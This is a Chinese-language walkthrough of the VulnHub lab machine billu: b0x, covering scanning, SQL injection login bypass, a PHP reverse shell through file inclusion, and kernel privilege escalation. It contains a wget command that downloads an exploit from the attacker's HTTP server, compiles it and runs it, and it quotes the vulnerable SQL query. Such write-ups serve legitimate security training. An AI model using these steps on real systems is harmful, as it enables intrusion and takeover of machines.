靶机 build_b0x (vulnhub)

billu: b0x ~ VulnHub

导入时需要注意:MAC地址需要全选,不然发现不了IP

靶机 build_b0x (vulnhub)_第1张图片

1.主机发现

arp-scan -l

2.端口扫描

nmap -p- 192.168.56.107 
nmap -p22,80 -sV -sC 192.168.56.107 
直接nmap -A 192.168.56.107 也是可以的

22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: --==[[IndiShell Lab]]==--
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.22 (Ubuntu)

3.漏洞发现

SQL注入

进去网页一眼看出SQL注入。那就尝试下万能密码,不行直接上工具爆破

靶机 build_b0x (vulnhub)_第2张图片

使用kali的字典:

payload1 选择/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt文件,payload2 选择 burp自带的字典Fuzzing - SQL injection

靶机 build_b0x (vulnhub)_第3张图片

 靶机 build_b0x (vulnhub)_第4张图片

然后我们筛选下结果:

靶机 build_b0x (vulnhub)_第5张图片

 靶机 build_b0x (vulnhub)_第6张图片

文件上传

靶机 build_b0x (vulnhub)_第7张图片

只能先这么上传了。这样也没法利用。因为不能解析,看看存不存在文件包含漏洞

靶机 build_b0x (vulnhub)_第8张图片

 路径很容易找

目录扫描

dirsearch -u http://192.168.56.107
发现了add.php 就是文件上传的功能

 靶机 build_b0x (vulnhub)_第9张图片

为什么还单独搞一个add.php 呢。难道包含文件了吗,我们点add user 抓包查看下:

靶机 build_b0x (vulnhub)_第10张图片

从这里看到抓包显示了add这个参数,那我们去测试下是否包含文件了

靶机 build_b0x (vulnhub)_第11张图片

但是经过我们的测试,无法进行包含我们的png文件

4.反弹shell

那我们换种木马进行测试:使用反弹shell木马

使用kali下的/usr/share/webshells/php/php-reverse-shell.php,用于nc反弹shell。修改下配置

 靶机 build_b0x (vulnhub)_第12张图片

跟上次上传的方法一样:kali上监听端口,然后这里利用文件包含执行

 

成功反弹shell,升级shell

靶机 build_b0x (vulnhub)_第13张图片

5.提权

查看系统版本:3.13.0

kali查漏洞

searchsploit 3.13.0

把文件弄出来,改个名方便操作,开启http服务在靶机下载文件

靶机 build_b0x (vulnhub)_第14张图片

下载文件:注意开放的端口
wget http://192.168.56.102:8000/exp.c
gcc exp.c -o exp      //编译
chmod +x exp
./exp

靶机 build_b0x (vulnhub)_第15张图片
另一种方法

还记得在目录扫描时发现了test.php吗。打开内容很明显,测试下但是没用,抓包看一下

靶机 build_b0x (vulnhub)_第16张图片

建议以后GET请求转POST请求的包时,先发GET然后直接在burp中使用

靶机 build_b0x (vulnhub)_第17张图片

我手动添加请求测试了很多次都不行,最后把整个GET请求的包转换才没问题

靶机 build_b0x (vulnhub)_第18张图片

 

通过观察发现这里似乎更像是文件读取

还可以分析下sql语句:转义  \  为  空格
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
语句可以转换为
$run='select * from auth where  pass=''.$pass.'' and uname=''.$uname.''';
$run='select * from auth where  pass='pass' and uname='uname'';
我们在pass中输入的是  \   那么带进去也就是   ' \'  ==》 ' '
我们在uname中输入的是  or 1=1 #   带进去   ' or 1=1 # ''    #后面注释掉
$run='select * from auth where  pass=' ' and uname='  or 1=1#

所以上面的sql语句就是闭合的 但是后面的 or 1=1 # 是永真的

靶机 build_b0x (vulnhub)_第19张图片

继续访问文件:

靶机 build_b0x (vulnhub)_第20张图片

 

目录扫描得到的phpmy目录就是数据库管理界面

也能发现登录密码

靶机 build_b0x (vulnhub)_第21张图片

 

继续目录扫描:看看有什么把

dirsearch -u  http://192.168.56.107/phpmy/

靶机 build_b0x (vulnhub)_第22张图片

 再利用漏洞读文件:

靶机 build_b0x (vulnhub)_第23张图片

看着像系统密码:本机还开启了ssh服务。直接测试下

ssh [email protected]

出现报错是因为上次连接过但是而且与上次记录的不同,使用

ssh-keygen -R 192.168.56.107

靶机 build_b0x (vulnhub)_第24张图片

这样就结束了

靶机 build_b0x (vulnhub)_第25张图片

你可能感兴趣的:(Vulnhub靶场,安全,网络安全,web安全)